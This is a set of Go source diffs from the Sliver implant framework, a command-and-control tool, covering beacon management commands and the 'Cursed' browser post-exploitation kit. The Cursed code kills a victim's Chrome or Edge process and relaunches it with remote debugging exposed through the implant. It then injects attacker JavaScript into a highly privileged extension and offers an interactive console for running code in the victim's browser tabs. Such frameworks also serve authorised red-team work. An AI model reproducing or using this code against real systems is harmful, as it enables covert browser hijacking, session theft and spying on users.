func SelectBeacon(con *console.SliverConsoleClient) (*clientpb.Beacon, error) {
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, err
}
if len(beacons.Beacons) == 0 {
return nil, ErrNoBeacons
}
beaconsMap := map[string]*clientpb.Beacon{}
for _, beacon := range beacons.Beacons {
beaconsMap[beacon.ID] = beacon
}
keys := []string{}
for beaconID := range beaconsMap {
keys = append(keys, beaconID)
}
sort.Strings(keys)
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Column Headers
for _, key := range keys {
beacon := beaconsMap[key]
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\n",
beacon.ID,
beacon.Name,
beacon.RemoteAddress,
beacon.Hostname,
beacon.Username,
fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch),
)
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a beacon:",
Options: options,
}
selected := ""
survey.AskOne(prompt, &selected)
if selected == "" {
return nil, ErrNoSelection
}
// Go from the selected option -> index -> session
for index, option := range options {
if option == selected {
return beaconsMap[keys[index]], nil
}
}
return nil, ErrNoSelection
}
func GetBeacon(con *console.SliverConsoleClient, beaconID string) (*clientpb.Beacon, error) {
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, err
}
if len(beacons.Beacons) == 0 {
return nil, ErrNoBeacons
}
for _, beacon := range beacons.Beacons {
if beacon.ID == beaconID {
return beacon, nil
}
}
return nil, ErrBeaconNotFound
}
func GetBeacons(con *console.SliverConsoleClient) (*clientpb.Beacons, error) {
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, err
}
if len(beacons.Beacons) == 0 {
return nil, ErrNoBeacons
}
return beacons, nil
}
+85
View File
@@ -0,0 +1,85 @@
package beacons
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
)
// BeaconsPruneCmd - Prune stale beacons automatically
func BeaconsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
pruneDuration, err := time.ParseDuration(ctx.Flags.String("duration"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Pruning beacons that missed their last checking by %s or more...\n\n", pruneDuration)
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
pruneBeacons := []*clientpb.Beacon{}
for _, beacon := range beacons.Beacons {
nextCheckin := time.Unix(beacon.NextCheckin, 0)
if time.Now().Before(nextCheckin) {
continue
}
delta := time.Since(nextCheckin)
if pruneDuration <= delta {
pruneBeacons = append(pruneBeacons, beacon)
}
}
if len(pruneBeacons) == 0 {
con.PrintInfof("No beacons to prune.\n")
return
}
con.PrintWarnf("The following beacons and their tasks will be removed:\n")
for index, beacon := range pruneBeacons {
beacon, err := con.Rpc.GetBeacon(context.Background(), &clientpb.Beacon{ID: beacon.ID})
if err != nil {
con.PrintErrorf("%s\n", err)
continue
}
con.Printf("\t%d. %s (%s)\n", (index + 1), beacon.Name, beacon.ID)
}
con.Println()
confirm := false
prompt := &survey.Confirm{Message: "Prune these beacons?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
errCount := 0
for _, beacon := range pruneBeacons {
_, err := con.Rpc.RmBeacon(context.Background(), &clientpb.Beacon{ID: beacon.ID})
if err != nil {
con.PrintErrorf("%s\n", err)
errCount++
}
}
con.PrintInfof("Pruned %d beacon(s)\n", len(pruneBeacons)-errCount)
}
+41
View File
@@ -0,0 +1,41 @@
package beacons
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// BeaconsRmCmd - Display/interact with beacons
func BeaconsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
beacon, err := SelectBeacon(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
_, err = con.Rpc.RmBeacon(context.Background(), beacon)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Beacon removed (%s)\n", beacon.ID)
}
+67
View File
@@ -0,0 +1,67 @@
package beacons
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"strings"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
)
// BeaconsWatchCmd - Watch your beacons in real-ish time
func BeaconsWatchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
done := waitForInput()
defer func() {
con.Printf(console.UpN+console.Clearln+"\r", 1)
con.Printf(console.UpN+console.Clearln+"\r", 1)
}()
for {
select {
case <-done:
return
case <-time.After(time.Second):
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
panic(err) // If we return we may leak the waiting goroutine, so we panic instead
}
tw := renderBeacons(beacons.Beacons, "", nil, con)
lines := strings.Split(tw.Render(), "\n")
for _, line := range lines {
con.Printf(console.Clearln+"\r%s\n", line)
}
con.Printf("\nPress enter to stop.\n")
con.Printf(console.UpN+"\r", len(lines)+2)
}
}
}
func waitForInput() <-chan bool {
done := make(chan bool)
go func() {
defer close(done)
fmt.Scanf("\n")
done <- true
}()
return done
}
+1236 -122
View File
File diff suppressed because it is too large. Load diff
+4
View File
@@ -0,0 +1,4 @@
Completers
===========
This package contains general purpose completers for the console, note that some package also contain their own package-specific completers.
+63
View File
@@ -0,0 +1,63 @@
package completers
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"io/ioutil"
"os"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/console"
)
// LocalPathCompleter - Completes a local file system path
func LocalPathCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
var parent string
var partial string
fi, err := os.Stat(prefix)
if os.IsNotExist(err) {
parent = filepath.Dir(prefix)
partial = filepath.Base(prefix)
} else {
if fi.IsDir() {
parent = prefix
partial = ""
} else {
parent = filepath.Dir(prefix)
partial = filepath.Base(prefix)
}
}
results := []string{}
ls, err := ioutil.ReadDir(parent)
if err != nil {
return results
}
for _, fi = range ls {
if 0 < len(partial) {
if strings.HasPrefix(fi.Name(), partial) {
results = append(results, filepath.Join(parent, fi.Name()))
}
} else {
results = append(results, filepath.Join(parent, fi.Name()))
}
}
return results
}
+3
View File
@@ -0,0 +1,3 @@
# Cursed
Cursed is a Sliver Chrome/Electron post-exploitation tool kit based on/integrated with [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome). Code injection is performed via the [DevTools protocol](https://chromedevtools.github.io/devtools-protocol/).
+425
View File
@@ -0,0 +1,425 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"errors"
"fmt"
"io/ioutil"
"log"
insecureRand "math/rand"
"strings"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord"
"github.com/bishopfox/sliver/client/tcpproxy"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
var (
ErrUserDataDirNotFound = errors.New("could not find Chrome user data dir")
ErrChromeExecutableNotFound = errors.New("could not find Chrome executable")
ErrUnsupportedOS = errors.New("unsupported OS")
windowsDriveLetters = []string{"C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"}
cursedChromePermissions = []string{overlord.AllURLs, overlord.WebRequest, overlord.WebRequestBlocking}
cursedChromePermissionsAlt = []string{overlord.AllHTTP, overlord.AllHTTPS, overlord.WebRequest, overlord.WebRequestBlocking}
)
// CursedChromeCmd - Execute a .NET assembly in-memory
func CursedChromeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
payloadPath := ctx.Flags.String("payload")
var payload []byte
var err error
if payloadPath != "" {
payload, err = ioutil.ReadFile(payloadPath)
if err != nil {
con.PrintErrorf("Could not read payload file: %s\n", err)
return
}
}
curse := avadaKedavraChrome(session, ctx, con)
if curse == nil {
return
}
if payloadPath == "" {
con.PrintWarnf("No Cursed Chrome payload was specified, skipping payload injection.\n")
return
}
con.PrintInfof("Searching for Chrome extension with all permissions ... ")
chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// There is one alternative set of permissions that we can use if we don't find an extension
// with all the proper permissions.
if chromeExt == nil {
chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if chromeExt != nil {
con.Printf("success!\n")
con.PrintInfof("Found viable Chrome extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
con.PrintInfof("Injecting payload ... ")
ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
// defer cancel()
_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Printf("success!\n")
} else {
con.Printf("failure!\n")
con.PrintInfof("No viable Chrome extensions were found ☹️\n")
}
}
func avadaKedavraChrome(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
chromeProcess, err := getChromeProcess(session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if chromeProcess != nil {
con.PrintWarnf("Found running Chrome process: %d (ppid: %d)\n", chromeProcess.GetPid(), chromeProcess.GetPpid())
con.PrintWarnf("Sliver will need to kill and restart the Chrome process in order to perform code injection.\n")
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
con.Printf("\n")
confirm := false
err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Chrome process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if !confirm {
con.PrintErrorf("User cancel\n")
return nil
}
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(ctx),
Pid: chromeProcess.GetPid(),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
return nil
}
}
curse, err := startCursedChromeProcess(false, session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
return curse
}
func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
name := "Chrome"
if isEdge {
name = "Edge"
}
con.PrintInfof("Finding %s executable path ... ", name)
chromeExePath, err := findChromeExecutablePath(isEdge, session, ctx, con)
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("success!\n")
con.PrintInfof("Finding %s user data directory ... ", name)
chromeUserDataDir, err := findChromeUserDataDir(isEdge, session, ctx, con)
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("success!\n")
con.PrintInfof("Starting %s process ... ", name)
debugPort := uint16(ctx.Flags.Int("remote-debugging-port"))
args := []string{
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
}
if chromeUserDataDir != "" {
args = append(args, fmt.Sprintf("--user-data-dir=%s", chromeUserDataDir))
}
if ctx.Flags.Bool("restore") {
args = append(args, "--restore-last-session")
}
// Execute the Chrome process with the extra flags
// TODO: PPID spoofing, etc.
chromeExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
Request: con.ActiveTarget.Request(ctx),
Path: chromeExePath,
Args: args,
Output: false,
})
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("(pid: %d) success!\n", chromeExec.GetPid())
con.PrintInfof("Waiting for %s process to initialize ... ", name)
time.Sleep(2 * time.Second)
bindPort := insecureRand.Intn(10000) + 40000
bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
tcpProxy := &tcpproxy.Proxy{}
channelProxy := &core.ChannelProxy{
Rpc: con.Rpc,
Session: session,
RemoteAddr: remoteAddr,
BindAddr: bindAddr,
KeepAlivePeriod: 60 * time.Second,
DialTimeout: 30 * time.Second,
}
tcpProxy.AddRoute(bindAddr, channelProxy)
portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
curse := &core.CursedProcess{
SessionID: session.ID,
PID: chromeExec.GetPid(),
PortFwd: portFwd,
BindTCPPort: bindPort,
Platform: session.GetOS(),
ExePath: chromeExePath,
ChromeUserDataDir: chromeUserDataDir,
}
core.CursedProcesses.Store(bindPort, curse)
go func() {
err := tcpProxy.Run()
if err != nil {
log.Printf("Proxy error %s", err)
}
core.CursedProcesses.Delete(bindPort)
}()
con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
return curse, nil
}
func findChromeUserDataDir(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
userDataFlag := ctx.Flags.String("user-data")
if userDataFlag != "" {
return userDataFlag, nil
}
switch session.GetOS() {
case "windows":
username := session.GetUsername()
if strings.Contains(username, "\\") {
username = strings.Split(username, "\\")[1]
}
for _, driveLetter := range windowsDriveLetters {
userDataDir := fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data", driveLetter, username)
if isEdge {
userDataDir = fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data", driveLetter, username)
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: userDataDir,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return userDataDir, nil
}
}
return "", ErrUserDataDirNotFound
case "darwin":
userDataDir := fmt.Sprintf("/Users/%s/Library/Application Support/Google/Chrome", session.Username)
if isEdge {
userDataDir = fmt.Sprintf("/Users/%s/Library/Application Support/Microsoft Edge", session.Username)
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: userDataDir,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return userDataDir, nil
}
return "", ErrUserDataDirNotFound
default:
return "", ErrUnsupportedOS
}
}
func findChromeExecutablePath(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
exeFlag := ctx.Flags.String("exe")
if exeFlag != "" {
return exeFlag, nil
}
switch session.GetOS() {
case "windows":
chromeWindowsPaths := []string{
"[DRIVE]:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe",
"[DRIVE]:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Google\\Chrome\\Application\\chrome.exe",
"[DRIVE]:\\Program Files (x86)\\Google\\Application\\chrome.exe",
}
if isEdge {
chromeWindowsPaths = []string{
"[DRIVE]:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
"[DRIVE]:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe",
"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Microsoft\\Edge\\Application\\msedge.exe",
}
}
username := session.GetUsername()
if strings.Contains(username, "\\") {
username = strings.Split(username, "\\")[1]
}
for _, driveLetter := range windowsDriveLetters {
for _, chromePath := range chromeWindowsPaths {
chromeExecutablePath := strings.ReplaceAll(chromePath, "[DRIVE]", driveLetter)
chromeExecutablePath = strings.ReplaceAll(chromeExecutablePath, "[USERNAME]", username)
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: chromeExecutablePath,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return chromeExecutablePath, nil
}
}
}
return "", ErrChromeExecutableNotFound
case "darwin":
// AFAIK Chrome only installs to this path on macOS
defaultChromePath := "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"
if isEdge {
defaultChromePath = "/Applications/Microsoft Edge.app/Contents/MacOS/Microsoft Edge"
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: defaultChromePath,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return defaultChromePath, nil
}
return "", ErrChromeExecutableNotFound
case "linux":
chromeLinuxPaths := []string{
"/usr/bin/google-chrome",
"/usr/bin/chromium-browser",
"/usr/local/bin/google-chrome",
"/usr/local/bin/chromium-browser",
}
if isEdge {
chromeLinuxPaths = []string{
"/usr/bin/microsoft-edge",
"/usr/local/bin/microsoft-edge",
}
}
for _, chromePath := range chromeLinuxPaths {
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: chromePath,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return chromePath, nil
}
}
return "", ErrChromeExecutableNotFound
default:
return "", ErrUnsupportedOS
}
}
func isChromeProcess(executable string) bool {
var chromeProcessNames = []string{
"chrome", // Linux
"google-chrome", // Linux
"chromium-browser", // Linux
"chrome.exe", // Windows
"Google Chrome", // Darwin
}
for _, suffix := range chromeProcessNames {
if strings.HasSuffix(executable, suffix) {
return true
}
}
return false
}
func getChromeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return nil, err
}
for _, process := range ps.Processes {
if process.GetOwner() != session.GetUsername() {
continue
}
if isChromeProcess(process.GetExecutable()) {
return process, nil
}
}
return nil, nil
}
+135
View File
@@ -0,0 +1,135 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"fmt"
"io"
"io/ioutil"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord"
"github.com/desertbit/grumble"
"github.com/desertbit/readline"
)
func CursedConsoleCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
curse := selectCursedProcess(con)
if curse == nil {
return
}
con.Println()
con.PrintInfof("Querying debug targets ... ")
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
con.Printf(console.Clearln + "\r")
if err != nil {
con.PrintErrorf("Failed to query debug targets: %s\n", err)
return
}
target := selectDebugTarget(targets, con)
if target == nil {
return
}
con.PrintInfof("Connecting to '%s', use 'exit' to return ... \n\n", target.Title)
startCursedConsole(curse, target, con)
}
func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverConsoleClient) *overlord.ChromeDebugTarget {
if len(targets) < 1 {
con.PrintErrorf("No debug targets\n")
return nil
}
id2target := map[string]overlord.ChromeDebugTarget{}
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
for _, target := range targets {
fmt.Fprintf(table, "%s\t%s\t%s\n", target.ID, target.Title, target.URL)
id2target[target.ID] = target
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a debug target:",
Options: options,
}
selected := ""
err := survey.AskOne(prompt, &selected)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if selected == "" {
return nil
}
selectedID := strings.Split(selected, " ")[0]
selectedTarget := id2target[selectedID]
return &selectedTarget
}
func startCursedConsole(curse *core.CursedProcess, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) {
tmpFile, _ := ioutil.TempFile("", "cursed")
reader, err := readline.NewEx(&readline.Config{
Prompt: "\033[31mcursed »\033[0m ",
HistoryFile: tmpFile.Name(),
// AutoComplete: nil,
InterruptPrompt: "^C",
EOFPrompt: "exit",
HistorySearchFold: true,
// FuncFilterInputRune: filterInput,
})
if err != nil {
con.PrintErrorf("Failed to create read line: %s\n", err)
return
}
for {
line, err := reader.Readline()
if err == readline.ErrInterrupt {
if len(line) == 0 {
break
} else {
continue
}
} else if err == io.EOF {
break
}
switch strings.TrimSpace(line) {
case "exit":
return
default:
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, line)
if err != nil {
con.PrintErrorf("%s\n", err)
}
con.Println()
if 0 < len(result) {
con.Printf("%s\n", result)
con.Println()
}
}
}
}
+170
View File
@@ -0,0 +1,170 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"io/ioutil"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// CursedChromeCmd - Execute a .NET assembly in-memory
func CursedEdgeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
payloadPath := ctx.Flags.String("payload")
var payload []byte
var err error
if payloadPath != "" {
payload, err = ioutil.ReadFile(payloadPath)
if err != nil {
con.PrintErrorf("Could not read payload file: %s\n", err)
return
}
}
curse := avadaKedavraEdge(session, ctx, con)
if curse == nil {
return
}
if payloadPath == "" {
con.PrintWarnf("No Cursed Edge payload was specified, skipping payload injection.\n")
return
}
con.PrintInfof("Searching for Edge extension with all permissions ... ")
chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// There is one alternative set of permissions that we can use if we don't find an extension
// with all the proper permissions.
if chromeExt == nil {
chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if chromeExt != nil {
con.Printf("success!\n")
con.PrintInfof("Found viable Edge extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
con.PrintInfof("Injecting payload ... ")
ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
// defer cancel()
_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Printf("success!\n")
} else {
con.Printf("failure!\n")
con.PrintInfof("No viable Edge extensions were found ☹️\n")
}
}
func avadaKedavraEdge(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
edgeProcess, err := getEdgeProcess(session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if edgeProcess != nil {
con.PrintWarnf("Found running Edge process: %d (ppid: %d)\n", edgeProcess.GetPid(), edgeProcess.GetPpid())
con.PrintWarnf("Sliver will need to kill and restart the Edge process in order to perform code injection.\n")
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
con.Printf("\n")
confirm := false
err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Edge process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if !confirm {
con.PrintErrorf("User cancel\n")
return nil
}
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(ctx),
Pid: edgeProcess.GetPid(),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
return nil
}
}
curse, err := startCursedChromeProcess(true, session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
return curse
}
func isEdgeProcess(executable string) bool {
var edgeProcessNames = []string{
"msedge", // Linux
"microsoft-edge", // Linux
"msedge.exe", // Windows
"Microsoft Edge", // Darwin
}
for _, suffix := range edgeProcessNames {
if strings.HasSuffix(executable, suffix) {
return true
}
}
return false
}
func getEdgeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return nil, err
}
for _, process := range ps.Processes {
if process.GetOwner() != session.GetUsername() {
continue
}
if isEdgeProcess(process.GetExecutable()) {
return process, nil
}
}
return nil, nil
}
+229
View File
@@ -0,0 +1,229 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"log"
insecureRand "math/rand"
"path"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord"
"github.com/bishopfox/sliver/client/tcpproxy"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
func CursedElectronCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
electronExe := ctx.Flags.String("exe")
if electronExe == "" {
con.PrintErrorf("Missing --exe flag, see --help\n")
return
}
curse := avadaKedavraElectron(electronExe, session, ctx, con)
if curse == nil {
return
}
con.PrintInfof("Checking for debug targets ...")
